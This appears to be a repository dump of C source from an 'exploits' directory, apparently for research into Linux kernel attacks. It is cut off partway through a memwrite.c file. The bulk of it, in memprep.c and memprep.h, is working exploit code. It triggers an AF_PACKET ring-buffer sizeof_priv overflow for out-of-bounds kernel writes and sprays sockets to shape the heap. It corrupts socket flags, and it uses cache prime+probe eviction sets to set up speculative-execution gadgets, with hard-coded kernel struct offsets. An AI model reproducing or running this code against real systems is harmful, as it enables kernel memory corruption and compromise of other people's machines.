} 143 | -------------------------------------------------------------------------------- /exploits/common/envprep/envprep.h: -------------------------------------------------------------------------------- 1 | #ifndef _ENVPREP_H_ 2 | #define _ENVPREP_H_ 3 | 4 | void setup_sandbox(); 5 | void set_cpu(int cpu_id); 6 | 7 | #endif /* _ENVPREP_H_ */ 8 | -------------------------------------------------------------------------------- /exploits/common/matrix/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS := -O2 #-g 2 | 3 | all: libmatrix.so 4 | 5 | libmatrix.so: matrix.c matrix.h 6 | gcc $(CFLAGS) -o libmatrix.so matrix.c -shared -fpic 7 | 8 | clean: 9 | rm libmatrix.so 10 | -------------------------------------------------------------------------------- /exploits/common/matrix/matrix.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "matrix.h" 7 | 8 | Matrix* create_matrix(int num_rows, int num_cols){ 9 | Matrix* m = malloc(sizeof(Matrix)); 10 | 11 | size_t num_bytes = num_rows * num_cols * sizeof(cell_type); 12 | m->data = malloc(num_bytes); 13 | clear_matrix(m); 14 | 15 | m->num_rows = num_rows; 16 | m->num_cols = num_cols; 17 | 18 | return m; 19 | } 20 | 21 | void free_matrix(Matrix* m){ 22 | free(m->data); 23 | free(m); 24 | } 25 | 26 | cell_type get_value(Matrix* m, int row, int col) { 27 | return *(m->data + row * m->num_cols + col); 28 | } 29 | 30 | void set_value(Matrix* m, int row, int col, cell_type val) { 31 | *(m->data + row * m->num_cols + col) = val; 32 | } 33 | 34 | void inc_value(Matrix* m, int row, int col) { 35 | *(m->data + row * m->num_cols + col) += 1; 36 | } 37 | 38 | void copy_matrix(Matrix* src, Matrix* dst){ 39 | int i, j; 40 | assert(src->num_rows == dst->num_rows); 41 | assert(src->num_cols == dst->num_cols); 42 | for (i=0; i < src->num_rows; i++) { 43 | for (j=0; j < src->num_cols; j++) { 44 | set_value(dst, i, j, get_value(src, i, j)); 45 | } 46 | } 47 | } 48 | 49 | void clear_matrix(Matrix* m){ 50 | size_t num_bytes = m->num_rows * m->num_cols * sizeof(cell_type); 51 | memset(m->data, 0, num_bytes); 52 | } 53 | 54 | uint32_t count_hits(Matrix* m, int16_t threshold){ 55 | uint32_t count = 0; 56 | int i, j; 57 | for (i=0; i < m->num_rows; i++) { 58 | for (j=0; j < m->num_cols; j++) { 59 | if (get_value(m, i, j) >= threshold) { 60 | count += 1; 61 | } 62 | } 63 | } 64 | return count; 65 | } 66 | 67 | void print_matrix_csv(Matrix* m){ 68 | int ri, ci; 69 | 70 | for (ci=0; ci < m->num_cols; ci++) { 71 | printf(",%d", ci); 72 | } 73 | printf("\n"); 74 | 75 | for (ri=0; ri < m->num_rows; ri++) { 76 | printf("%d", ri); 77 | for (ci=0; ci < m->num_cols; ci++) { 78 | printf(",%d", get_value(m, ri, ci)); 79 | } 80 | printf("\n"); 81 | } 82 | printf("\n"); 83 | } 84 | 85 | void print_matrix_xy(Matrix* x, Matrix* y) { 86 | int i, j; 87 | printf("========\n"); 88 | for (i = 0; i < x->num_rows; i++) { 89 | for (j = 0; j < x->num_cols; j++) { 90 | printf("%d,%d,%d,%d\n", i, j, get_value(x, i, j), get_value(y, i, j)); 91 | } 92 | } 93 | printf("========\n"); 94 | } 95 | 96 | -------------------------------------------------------------------------------- /exploits/common/matrix/matrix.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | typedef int16_t cell_type; 4 | 5 | typedef struct { 6 | cell_type* data; 7 | int num_rows; 8 | int num_cols; 9 | } Matrix; 10 | 11 | Matrix* create_matrix(int num_rows, int num_cols); 12 | void free_matrix(Matrix* m); 13 | 14 | cell_type get_value(Matrix* m, int row, int col); 15 | void set_value(Matrix* m, int row, int col, cell_type val); 16 | void inc_value(Matrix* m, int row, int col); 17 | 18 | void copy_matrix(Matrix* src, Matrix* dst); 19 | void clear_matrix(Matrix* m); 20 | 21 | uint32_t count_hits(Matrix* m, cell_type threshold); 22 | void print_matrix_csv(Matrix* m); 23 | void print_matrix_xy(Matrix* x, Matrix* y); 24 | -------------------------------------------------------------------------------- /exploits/common/memprep/memprep.c: -------------------------------------------------------------------------------- 1 | void * get_sock_addr(int s); 2 | 3 | #include "memwrite.h" 4 | #include "llc_prime_probe.h" 5 | #include "memprep.h" 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #define KMALLOC_PAD 512 17 | #define PAGEALLOC_PAD 1024 18 | 19 | rxring_socket* offset_writer = NULL; 20 | rxring_socket* arb_mem_writer = NULL; 21 | 22 | int create_socket_p_arp() { 23 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); 24 | if (s < 0) { 25 | perror("[-] socket(AF_PACKET..P_ARP)"); 26 | exit(EXIT_FAILURE); 27 | } 28 | return s; 29 | } 30 | 31 | int create_socket_p_all() { 32 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 33 | if (s < 0) { 34 | perror("[-] socket(AF_PACKET..P_ALL)"); 35 | exit(EXIT_FAILURE); 36 | } 37 | return s; 38 | } 39 | 40 | int create_socket_p_raw() { 41 | int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 42 | if (s < 0) { 43 | perror("[-] socket(AF_PACKET..RAW)"); 44 | exit(EXIT_FAILURE); 45 | } 46 | return s; 47 | } 48 | 49 | void bind_socket(int s) { 50 | struct sockaddr_ll sa; 51 | memset(&sa, 0, sizeof(sa)); 52 | sa.sll_family = PF_PACKET; 53 | sa.sll_protocol = htons(ETH_P_ALL); 54 | sa.sll_ifindex = if_nametoindex("lo"); 55 | sa.sll_hatype = 0; 56 | sa.sll_pkttype = 0; 57 | sa.sll_halen = 0; 58 | 59 | int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 60 | if (rv < 0) { 61 | perror("[-] bind(AF_PACKET)"); 62 | exit(EXIT_FAILURE); 63 | } 64 | } 65 | 66 | int packet_sock_kmalloc() { 67 | int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 68 | if (s == -1) { 69 | perror("[-] socket(SOCK_DGRAM)"); 70 | exit(EXIT_FAILURE); 71 | } 72 | return s; 73 | } 74 | 75 | rxring_socket* create_rxring_socket() { 76 | rxring_socket* rs = malloc(sizeof(rxring_socket)); 77 | 78 | rs->sockfd = -1; 79 | rs->map = NULL; 80 | rs->iov = NULL; 81 | rs->block_size = 0; 82 | rs->num_blocks = 0; 83 | 84 | return rs; 85 | } 86 | 87 | void close_rxring_socket(rxring_socket* rs) { 88 | if (rs->num_blocks > 0) { 89 | if (munmap(rs->map, rs->block_size * rs->num_blocks)) { 90 | perror("munmap"); 91 | exit(EXIT_FAILURE); 92 | } 93 | free(rs->iov); 94 | rs->block_size = 0; 95 | rs->num_blocks = 0; 96 | } 97 | 98 | close(rs->sockfd); 99 | 100 | free(rs); 101 | } 102 | 103 | void create_iov(rxring_socket* rs, size_t block_size, int num_blocks) { 104 | int i; 105 | 106 | rs->map = mmap(NULL, block_size * num_blocks, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_LOCKED, rs->sockfd, 0); 107 | if (rs->map == MAP_FAILED) { 108 | perror("mmap"); 109 | exit(1); 110 | } 111 | 112 | rs->iov = malloc(num_blocks * sizeof(struct iovec)); 113 | if (rs->iov == NULL) { 114 | printf("malloc failed\n"); 115 | exit(1); 116 | } 117 | for (i = 0; i < num_blocks; ++i) { 118 | rs->iov[i].iov_base = rs->map + (i * block_size); 119 | rs->iov[i].iov_len = block_size; 120 | } 121 | 122 | rs->block_size = block_size; 123 | rs->num_blocks = num_blocks; 124 | } 125 | 126 | // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * 127 | 128 | void packet_socket_rx_ring_init(int s, unsigned int block_size, 129 | unsigned int frame_size, unsigned int block_nr, 130 | unsigned int sizeof_priv, unsigned int timeout) { 131 | 132 | int v = TPACKET_V3; 133 | int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); 134 | if (rv < 0) { 135 | perror("[-] setsockopt(PACKET_VERSION)"); 136 | exit(EXIT_FAILURE); 137 | } 138 | 139 | struct tpacket_req3 req; 140 | memset(&req, 0, sizeof(req)); 141 | req.tp_block_size = block_size; 142 | req.tp_frame_size = frame_size; 143 | req.tp_block_nr = block_nr; 144 | req.tp_frame_nr = (block_size * block_nr) / frame_size; 145 | req.tp_retire_blk_tov = timeout; 146 | req.tp_sizeof_priv = sizeof_priv; 147 | req.tp_feature_req_word = 0; 148 | 149 | rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); 150 | if (rv < 0) { 151 | perror("[-] setsockopt(PACKET_RX_RING)"); 152 | exit(EXIT_FAILURE); 153 | } 154 | } 155 | 156 | int packet_socket_setup(unsigned int block_size, unsigned int frame_size, 157 | unsigned int block_nr, unsigned int sizeof_priv, int timeout) { 158 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); 159 | if (s < 0) { 160 | perror("[-] socket(AF_PACKET)"); 161 | exit(EXIT_FAILURE); 162 | } 163 | 164 | packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, 165 | sizeof_priv, timeout); 166 | 167 | struct sockaddr_ll sa; 168 | memset(&sa, 0, sizeof(sa)); 169 | sa.sll_family = PF_PACKET; 170 | sa.sll_protocol = htons(ETH_P_ARP); 171 | sa.sll_ifindex = if_nametoindex("lo"); 172 | sa.sll_hatype = 0; 173 | sa.sll_pkttype = 0; 174 | sa.sll_halen = 0; 175 | 176 | int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 177 | if (rv < 0) { 178 | perror("[-] bind(AF_PACKET)"); 179 | exit(EXIT_FAILURE); 180 | } 181 | 182 | return s; 183 | } 184 | 185 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 186 | 187 | #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) 188 | #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) 189 | #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) 190 | 191 | #define V3_ALIGNMENT (8) 192 | #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) 193 | 194 | #define ETH_HDR_LEN sizeof(struct ethhdr) 195 | #define IP_HDR_LEN sizeof(struct iphdr) 196 | #define UDP_HDR_LEN sizeof(struct udphdr) 197 | 198 | #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) 199 | 200 | unsigned int calc_sizeof_priv(int offset) { 201 | unsigned int maclen = ETH_HDR_LEN; 202 | unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + 203 | (maclen < 16 ? 16 : maclen)); 204 | unsigned int macoff = netoff - maclen; 205 | unsigned int sizeof_priv = 0x8000 - BLK_HDR_LEN - macoff + offset; 206 | return sizeof_priv; 207 | } 208 | 209 | unsigned int calc_sizeof_priv_vuln(int offset) { 210 | return (1u<<31) + (1u<<30) + calc_sizeof_priv(offset); 211 | } 212 | 213 | int oob_setup(int offset) { 214 | unsigned int sizeof_priv = calc_sizeof_priv_vuln(offset); 215 | return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); 216 | } 217 | 218 | // * * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * 219 | 220 | void kmalloc_pad(int count) { 221 | int i; 222 | for (i = 0; i < count; i++) 223 | packet_sock_kmalloc(); 224 | } 225 | 226 | void pagealloc_pad(int count) { 227 | packet_socket_setup(0x8000, 2048, count, 0, 100); 228 | } 229 | 230 | int gap_filling_sockets[GSOCKETS]; 231 | rxring_socket* cand_arb_mem_writers[FSOCKETS]; 232 | int specex_candidate_sockets[FSOCKETS][SSOCKETS]; 233 | int arb_mem_writer_idx = -1; 234 | int curr_specex_socket = -1; 235 | int specex_socket_first = -1; 236 | int specex_socket_second = -1; 237 | int specex_sockets_evicset_idx = -1; // for flag eviction in co-thread 238 | 239 | void prepare_memory_layout(){ 240 | int i, j; 241 | 242 | // Create sockets of which the ring buffers will re-align the vulnerable buffers 243 | // to the same offset in the 256kb slots that can hold 8 ring buffers of size 0x8000. 244 | for (i = 0; i < GSOCKETS; ++i) { 245 | gap_filling_sockets[i] = create_socket_p_arp(); 246 | } 247 | 248 | kmalloc_pad(KMALLOC_PAD); 249 | pagealloc_pad(PAGEALLOC_PAD); 250 | 251 | // Create socket that will corrupt 'write offset' in sockets doing non-linear out-of-bound writes. 252 | offset_writer = create_rxring_socket(); 253 | offset_writer->sockfd = oob_setup(0x800 + SIZEOF_PRIV_OFFSET - 12); 254 | create_iov(offset_writer, 0x8000, 2); // map rx ring of offset writing socket 255 | 256 | // Create socket candidates of which one will perform non-linear out-of-bound writes. 257 | for (i = 0; i < FSOCKETS; ++i) { 258 | cand_arb_mem_writers[i] = create_rxring_socket(); 259 | cand_arb_mem_writers[i]->sockfd = create_socket_p_all(); 260 | } 261 | 262 | // Create socket candidates that we might use for speculative execution. 263 | for (i = 0; i < FSOCKETS; ++i) { 264 | //***** GAP ***** 265 | // align rx ring buffer blocks by filling gaps 266 | packet_socket_rx_ring_init(gap_filling_sockets[i], 0x8000, 2048, 4, 0, 100); 267 | // bind gap filling sockets 268 | bind_socket(gap_filling_sockets[i]); 269 | 270 | //***** FPTR ***** 271 | // assign rx ring buffer with oob property to a fptr writing socket 272 | unsigned int sizeof_priv = calc_sizeof_priv_vuln(0x800 - 0x10); // oob pointing to empty location 273 | packet_socket_rx_ring_init(cand_arb_mem_writers[i]->sockfd, 0x8000, 2048, 2, sizeof_priv, 100); 274 | // bind fptr writing sockets 275 | bind_socket(cand_arb_mem_writers[i]->sockfd); 276 | 277 | // map rx ring of corrupted fptr socket 278 | create_iov(cand_arb_mem_writers[i], 0x8000, 2); 279 | 280 | //***** SPECEX ***** 281 | // create 32 specex socket candidates 282 | for (j = 0; j < SSOCKETS; ++j) { 283 | specex_candidate_sockets[i][j] = create_socket_p_raw(); 284 | } 285 | } 286 | 287 | // enable position updater 288 | bind_socket(offset_writer->sockfd); 289 | 290 | #if DEBUGGING 291 | printf("[D] 'position' updating socket @ 0x%lx\n", (unsigned long) get_sock_addr(offset_writer->sockfd)); 292 | #endif 293 | 294 | printf("\n[.] arranged memory layout (including socket object with vulnerable buffer and other temporary socket objects)\n"); 295 | sleep(1); 296 | } 297 | 298 | int poke_socket_object_check_cacheset_signal_pp(int sockfd, int level, int optname, int evicset_idx, int cacheset_idx, int num_execs, int min_evicts) { 299 | char buffer[32]; 300 | int size = sizeof(buffer); 301 | int x, evicts = 0; 302 | 303 | for(x = 0; x < num_execs; x++) { 304 | pp_prime_cacheset(evicset_idx, cacheset_idx); 305 | getsockopt(sockfd, level, optname, buffer, &size); 306 | if (pp_probe_cacheset_access_time(evicset_idx, cacheset_idx) > 310) { 307 | evicts += 1; 308 | if (evicts == min_evicts) { 309 | return 1; 310 | } 311 | } 312 | } 313 | 314 | return 0; 315 | } 316 | 317 | #define NUM_STAGES_SOCKFD_SEARCH 12 318 | int test_candidate_sockfd_search(int sockfd, int page_half, int evicset_idx, int stage) { 319 | int num_execs = 40; 320 | int success = -1; 321 | 322 | // We test cachelines in the upper 0x800 block of a page, 323 | // because we target that block with the out of bound writes. 324 | #define SOCKFD_SEARCH_EVAL_THRESHOLD 0.9 325 | switch (stage) { 326 | // SOL_SOCKET options 327 | case 0: 328 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_SOCKET, SO_DOMAIN, evicset_idx, 0 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 329 | break; 330 | case 1: 331 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_SOCKET, SO_DEBUG, evicset_idx, 1 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 332 | break; 333 | case 2: 334 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_SOCKET, SO_RCVBUF, evicset_idx, 3 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 335 | break; 336 | case 3: 337 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_SOCKET, SO_SNDBUF, evicset_idx, 4 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 338 | break; 339 | case 4: 340 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_SOCKET, SO_MAX_PACING_RATE, evicset_idx, 5 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 341 | break; 342 | case 5: 343 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_SOCKET, SO_ERROR, evicset_idx, 6 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 344 | break; 345 | case 6: 346 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_SOCKET, SO_MARK, evicset_idx, 7 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 347 | break; 348 | case 7: 349 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_SOCKET, SO_TIMESTAMPING, evicset_idx, 8 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 350 | break; 351 | 352 | // SOL_PACKET options 353 | case 8: 354 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_PACKET, PACKET_FANOUT, evicset_idx, 11 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 355 | break; 356 | case 9: 357 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_PACKET, PACKET_AUXDATA, evicset_idx, 19 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 358 | break; 359 | case 10: 360 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_PACKET, PACKET_STATISTICS, evicset_idx, 2 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 361 | success *= poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_PACKET, PACKET_STATISTICS, evicset_idx, 11 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 362 | success *= poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_PACKET, PACKET_STATISTICS, evicset_idx, 19 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 363 | break; 364 | case 11: 365 | success = poke_socket_object_check_cacheset_signal_pp(sockfd, SOL_PACKET, PACKET_LOSS, evicset_idx, 20 + 32*page_half, num_execs, (int) (num_execs * SOCKFD_SEARCH_EVAL_THRESHOLD)); 366 | break; 367 | 368 | default: 369 | printf("[-] Unexpected! unknown stage.. func args(%d, %d)\n", evicset_idx, stage); 370 | exit(0); 371 | } 372 | 373 | if (success < 0) { 374 | printf("[-] Broken switch (sockfd evicset idx search), success < 0 (%d)\n", success); 375 | exit(1); 376 | } 377 | 378 | return success; 379 | } 380 | 381 | #define NUM_EVICSETS 128 382 | int get_sockfd_evicset_idx(int sockfd, int page_half) { 383 | int i; 384 | int num_candidates = NUM_EVICSETS; 385 | int candidates[NUM_EVICSETS]; 386 | 387 | for (i = 0; i < NUM_EVICSETS; i++) { 388 | candidates[i] = 1; // set all indices as candidates 389 | } 390 | 391 | int num_stages_remaining = NUM_STAGES_SOCKFD_SEARCH; 392 | while (num_candidates > 1 && num_stages_remaining > 0) { 393 | num_stages_remaining -= 1; 394 | for (i = 0; i < NUM_EVICSETS; i++) { 395 | if (candidates[i] != 1) { 396 | continue; 397 | } 398 | 399 | int good_candidate = test_candidate_sockfd_search(sockfd, page_half, i, num_stages_remaining); 400 | if (!good_candidate) { 401 | num_candidates -= 1; 402 | candidates[i] = 0; 403 | } 404 | } 405 | 406 | #if DEBUGGING 407 | printf("[D] @ stage:%d num_candidates:%d\n", num_stages_remaining, num_candidates); 408 | #endif 409 | } 410 | 411 | if (num_candidates != 1) { 412 | printf("[-] Went through all stages to find sockfd evicset idx but failed..\n"); 413 | exit(1); 414 | } 415 | 416 | // assert found evicset idx is right 417 | int evicset_idx = -1; 418 | for (i = 0; i < NUM_EVICSETS; i++) { 419 | if (candidates[i] == 1) { 420 | evicset_idx = i; 421 | break; 422 | } 423 | } 424 | 425 | if (evicset_idx == -1) { 426 | printf("[-] Could not find sockfd evicset idx. exiting..\n"); 427 | exit(1); 428 | } 429 | 430 | return evicset_idx; 431 | } 432 | 433 | void find_specex_sockets_evicset_idx() { 434 | specex_sockets_evicset_idx = get_sockfd_evicset_idx(specex_socket_second, 1); 435 | } 436 | 437 | void find_specex_cand_objects_and_evicset_idxs() { 438 | int i; 439 | 440 | // *** Find specex_socket and its corresponding evicset idx 441 | // Look for socket that has SO_DEBUG flag set. 442 | 443 | // overwrite flags: 444 | // - SOCK_ZAPPED 0x0100 // set by default 445 | // - SOCK_USE_WRITE_QUEUE 0x0200 // corrupted to enable spec.exec. with the socket 446 | // - SOCK_DBG 0x0400 // corrupted to find our spec.exec. socket 447 | 448 | set_arb_mem_writer_pos(0x000 + SKC_FLAGS_OFFSET - 40); // change offset in fptr_writer socket 449 | write_skc_flags(0x0700); // overwrite flag of a specex socket 450 | 451 | for (i = 0; i < SSOCKETS; ++i) { 452 | int sockfd = specex_candidate_sockets[arb_mem_writer_idx][i]; 453 | 454 | int so_dbg = 0; 455 | socklen_t so_dbg_len = sizeof(so_dbg); 456 | if (getsockopt(sockfd, SOL_SOCKET, SO_DEBUG, &so_dbg, &so_dbg_len) < 0) { 457 | perror("getsockopt"); 458 | exit(1); 459 | } 460 | 461 | #if DEBUGGING 462 | printf("[D] socket-idx:%d so_dbg:%d\n", i, so_dbg); 463 | #endif 464 | if (so_dbg == 1) { 465 | specex_socket_first = sockfd; 466 | break; 467 | } 468 | } 469 | 470 | // Find the object starting at page offset 0x800 471 | set_arb_mem_writer_pos(0x800 + SKC_FLAGS_OFFSET - 40); // change offset in fptr_writer socket 472 | write_skc_flags(0x0700); // overwrite flag of a specex socket 473 | 474 | for (i = 0; i < SSOCKETS; ++i) { 475 | int sockfd = specex_candidate_sockets[arb_mem_writer_idx][i]; 476 | if (sockfd == specex_socket_first) continue; 477 | 478 | int so_dbg = 0; 479 | socklen_t so_dbg_len = sizeof(so_dbg); 480 | if (getsockopt(sockfd, SOL_SOCKET, SO_DEBUG, &so_dbg, &so_dbg_len) < 0) { 481 | perror("getsockopt"); 482 | exit(1); 483 | } 484 | 485 | #if DEBUGGING 486 | printf("[D] socket-idx:%d so_dbg:%d\n", i, so_dbg); 487 | #endif 488 | if (so_dbg == 1) { 489 | specex_socket_second = sockfd; 490 | break; 491 | } 492 | } 493 | 494 | printf("[.] found speculative execution socket objects corruptible with the non-linear out-of-bound writes\n"); 495 | printf("[.] prepared speculative execution socket objects by flipping (corrupting) their conditional branch flag\n"); 496 | #if DEBUGGING 497 | printf("[D] specex socket (page_offset=0x000): kaddr: %p\n", get_sock_addr(specex_socket_first)); 498 | printf("[D] specex socket (page_offset=0x800): kaddr: %p\n", get_sock_addr(specex_socket_second)); 499 | #endif 500 | 501 | // seek for the evicset idx.. 502 | find_specex_sockets_evicset_idx(); 503 | printf("[.] found eviction set corresponding to the speculative execution sockets\n"); 504 | 505 | curr_specex_socket = specex_socket_second; 506 | #if DEBUGGING 507 | printf("[D] specex socket (page_offset=0x000): kaddr: %p\n", get_sock_addr(specex_socket_first)); 508 | printf("[D] specex socket (page_offset=0x800): kaddr: %p\n", get_sock_addr(specex_socket_second)); 509 | #endif 510 | } 511 | 512 | // For the exploit we need the following items: 513 | // - offset_writer (already set when memory layout is prepared) 514 | // - arb_mem_writer 515 | // - specex_socket and corresponding evicset_idx 516 | void find_necessary_items() { 517 | int i; 518 | 519 | // *** Find arb_mem_writer 520 | // Look for socket with corrupted stats. 521 | // Stats get corrupted when offset is updated. 522 | set_arb_mem_writer_pos(0x800 - 0x10); // prevent fptr writing socket from overwriting specex socket already 523 | sleep(1); 524 | 525 | for (i = 0; i < FSOCKETS; ++i) { 526 | struct tpacket_stats_v3 stats; 527 | socklen_t len = sizeof(stats); 528 | int err = getsockopt(cand_arb_mem_writers[i]->sockfd, SOL_PACKET, PACKET_STATISTICS, &stats, &len); 529 | if (err < 0) { 530 | perror("getsockopt"); 531 | exit(1); 532 | } 533 | 534 | #if DEBUGGING 535 | printf("[D] socket-idx:%d, received %u packets, %u dropped, freeze_q_cnt: %u\n", i, 536 | stats.tp_packets, stats.tp_drops, 537 | stats.tp_freeze_q_cnt); 538 | #endif 539 | 540 | if (stats.tp_packets > 100) { 541 | arb_mem_writer = cand_arb_mem_writers[i]; 542 | arb_mem_writer_idx = i; 543 | break; 544 | } 545 | } 546 | 547 | if (!arb_mem_writer) { 548 | printf("[-] could not find corrupted fptr socket, exiting..\n"); 549 | exit(0); 550 | } 551 | printf("[.] found socket object whose 'fixed' write offset gets corrupted to enable non-linear out-of-bound writes\n"); 552 | #if DEBUGGING 553 | printf("[D] (idx: %d, kaddr: %p)\n", arb_mem_writer_idx, get_sock_addr(arb_mem_writer->sockfd)); 554 | #endif 555 | sleep(1); 556 | 557 | find_specex_cand_objects_and_evicset_idxs(); 558 | } 559 | 560 | void free_unneeded_objects() { 561 | int i, j; 562 | 563 | printf("\n[.] freeing unnecessary objects..\n"); 564 | 565 | // - fptr writers 566 | for (i = 0; i < FSOCKETS; ++i) { 567 | if (i == arb_mem_writer_idx) continue; 568 | 569 | close_rxring_socket(cand_arb_mem_writers[i]); 570 | cand_arb_mem_writers[i] = NULL; 571 | 572 | for (j = 0; j < SSOCKETS; ++j) { 573 | close(specex_candidate_sockets[i][j]); 574 | } 575 | } 576 | 577 | // - gaps 578 | for (i = 0; i < GSOCKETS; ++i) { 579 | if (close(gap_filling_sockets[i])) { 580 | perror("close"); 581 | exit(EXIT_FAILURE); 582 | } 583 | } 584 | sleep(1); 585 | 586 | printf("[.] freeing unnecessary objects.. DONE\n"); 587 | } 588 | 589 | -------------------------------------------------------------------------------- /exploits/common/memprep/memprep.h: -------------------------------------------------------------------------------- 1 | #ifndef _MEMPREP_H_ 2 | #define _MEMPREP_H_ 3 | 4 | #include 5 | 6 | #define BLOCK_SIZE 0x8000 7 | #define SOCKET_SIZE 0x800 8 | #define NUM_SOCKETS_IN_BLOCK (BLOCK_SIZE / SOCKET_SIZE) 9 | #define NUM_SOCKETS_IN_SOCK_SPRAY (NUM_SOCKETS_IN_BLOCK * 2) 10 | 11 | #define GSOCKETS NUM_SOCKETS_IN_SOCK_SPRAY // gap creating sockets for alignment purposes 12 | #define FSOCKETS NUM_SOCKETS_IN_SOCK_SPRAY // flag/fptr overwriting sockets 13 | #define SSOCKETS NUM_SOCKETS_IN_SOCK_SPRAY // specex candidate sockets 14 | 15 | // * * * * * * * * * * * * * * Kernel struct offsets * * * * * * * * * * * * * 16 | 17 | // packet_sock->rx_ring.prb_bdqc.blk_sizeof_priv 18 | #define SIZEOF_PRIV_OFFSET 812 19 | 20 | #define SKC_FLAGS_OFFSET 96 21 | #define SK_WRITE_SPACE_OFFSET 664 22 | 23 | #define FIRST_DEREF_IN_GADGET_SK_OFFSET 0x158 24 | 25 | // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 26 | 27 | typedef struct { 28 | int sockfd; 29 | unsigned char* map; 30 | struct iovec* iov; 31 | size_t block_size; 32 | int num_blocks; 33 | } rxring_socket; 34 | 35 | extern int curr_specex_socket; 36 | extern int specex_socket_first; 37 | extern int specex_socket_second; 38 | extern int specex_sockets_evicset_idx; 39 | 40 | extern rxring_socket* offset_writer; 41 | extern rxring_socket* arb_mem_writer; 42 | 43 | unsigned int calc_sizeof_priv(int offset); 44 | void prepare_memory_layout(); 45 | void find_necessary_items(); 46 | void find_specex_sockets_evicset_idx(); 47 | void free_unneeded_objects(); 48 | 49 | #endif /* _MEMPREP_H_ */ 50 | -------------------------------------------------------------------------------- /exploits/common/memwrite/memwrite.c: -------------------------------------------------------------------------------- 1 | #include "memwrite.h" 2 | #include "memprep.h" 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | void packet_socket_send(int s, char *buffer, int size) { 14 | struct sockaddr_ll sa; 15 | memset(&sa, 0, sizeof(sa)); 16 | sa.sll_ifindex = if_nametoindex("lo"); 17 | sa.sll_halen = ETH_ALEN; 18 | 19 | if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, 20 | sizeof(sa)) < 0) { 21 | perror("[-] sendto(SOCK_RAW)"); 22 | exit(EXIT_FAILURE); 23 | } 24 | } 25 | 26 | int loopback_send_socket = -1; 27 | void loopback_send(char *buffer, int size) { 28 | if (loopback_send_socket == -1) { 29 | loopback_send_socket = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 30 | if (loopback_send_socket == -1) { 31 | perror("[-] socket(SOCK_RAW)"); 32 | exit(EXIT_FAILURE); 33 | } 34 | } 35 | 36 | packet_socket_send(loopback_send_socket, buffer, size); 37 | } 38 | 39 | void oob_write(char *buffer, int size) { 40 | loopback_send(buffer, size); 41 | } 42 | 43 | struct block_desc { 44 | uint32_t version; 45 | uint32_t offset_to_priv; 46 | struct tpacket_hdr_v1 h1; 47 | }; 48 | 49 | // By setting the block_status to TP_STATUS_KERNEL, 50 | // we re-enable the corresponding socket to receive packets. 51 | void print_status_blocks(struct iovec *rd) { 52 | struct block_desc *pbd; 53 | 54 | 